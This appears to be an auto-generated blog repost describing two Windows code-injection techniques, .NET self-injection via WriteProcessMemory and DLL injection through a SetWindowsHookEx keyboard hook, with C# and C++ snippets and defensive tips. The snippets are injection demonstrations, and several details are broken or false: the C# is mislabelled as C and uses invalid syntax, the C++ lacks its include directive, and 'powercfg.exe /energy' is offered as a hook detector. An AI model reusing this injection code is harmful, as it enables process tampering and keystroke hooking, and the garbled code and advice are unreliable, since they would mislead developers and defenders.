Breaking Patterns: Rethinking Assumptions in Code Execution and Injection

By /

Listen to this Post

Featured Image
URL: https://lnkd.in/gknFNpUX

This post explores two advanced code injection techniques that bypass traditional security assumptions:

  1. Self-Injection – Overwriting a method in your own process memory from within a .NET Framework-managed executable.
  2. Indirect DLL Path Injection – Exploiting the Windows GUI system to implant payloads in another process without direct memory writes.

You Should Know:

1. Self-Injection in .NET

Self-injection allows attackers to modify a running .NET process’s memory without external interference.

Key Steps:

  • Use `System.Reflection` to access private methods.
  • Modify JIT-compiled code at runtime.
  • Overwrite method pointers in memory.

Example Code (C):

using System; 
using System.Runtime.InteropServices;

class SelfInject 
{ 
[DllImport("kernel32.dll")] 
public static extern IntPtr GetCurrentProcess();

[DllImport("kernel32.dll", SetLastError = true)] 
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);

public static void ModifyMethod() 
{ 
IntPtr process = GetCurrentProcess(); 
IntPtr bytesWritten; 
byte[] shellcode = { 0x90, 0x90, 0xC3 }; // NOP, NOP, RET

unsafe 
{ 
delegate<void> targetMethod = &TargetFunction; 
WriteProcessMemory(process, (IntPtr)targetMethod, shellcode, shellcode.Length, out bytesWritten); 
} 
}

static void TargetFunction() => Console.WriteLine("Original"); 
}

2. Indirect DLL Path Injection via Windows GUI

This technique abuses GUI message handling to load a malicious DLL without direct process memory writes.

Key Steps:

  • Use `SetWindowsHookEx` to inject a DLL via GUI messaging.
  • Abuse legitimate Windows API calls to trigger payload execution.

Example Code (C++):

include <windows.h>

int main() 
{ 
HMODULE hDll = LoadLibraryA("malicious.dll"); 
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(hDll, "Payload"); 
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, hDll, 0);

PostThreadMessage(GetCurrentThreadId(), WM_KEYDOWN, VK_SPACE, 0); 
UnhookWindowsHookEx(hook); 
return 0; 
}

Defensive Measures:

  • Monitor `SetWindowsHookEx` calls in sensitive processes.
  • Restrict DLL loading from untrusted paths.

What Undercode Say

These techniques highlight how attackers bypass traditional security models by exploiting runtime manipulation and trusted API calls. Defenders must:
– Monitor .NET process self-modification (e.g., via ETW tracing).
– Inspect GUI message hooks for suspicious DLL loading.
– Use memory integrity protections (e.g., HVCI, CFG).

Relevant Commands for Analysis:

 Check loaded DLLs in a process (Linux/Windows via Sysinternals) 
ps aux | grep -i dotnet 
listdlls.exe -pid <PID>

Monitor Windows API calls with Sysmon 
sysmon -i -config sysmonconfig-export.xml

Detect hooking in Windows 
powercfg.exe /energy

Prediction

As .NET and GUI-based attacks evolve, expect more fileless and API-abusing techniques to bypass EDR. Future defenses will likely integrate machine learning-based runtime analysis to detect such anomalies.

Expected Output:

  • A deeper understanding of unconventional code injection.
  • Practical code snippets for testing and defense.
  • Enhanced detection strategies against advanced attacks.

References:

Reported By: Ioactive Inc – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: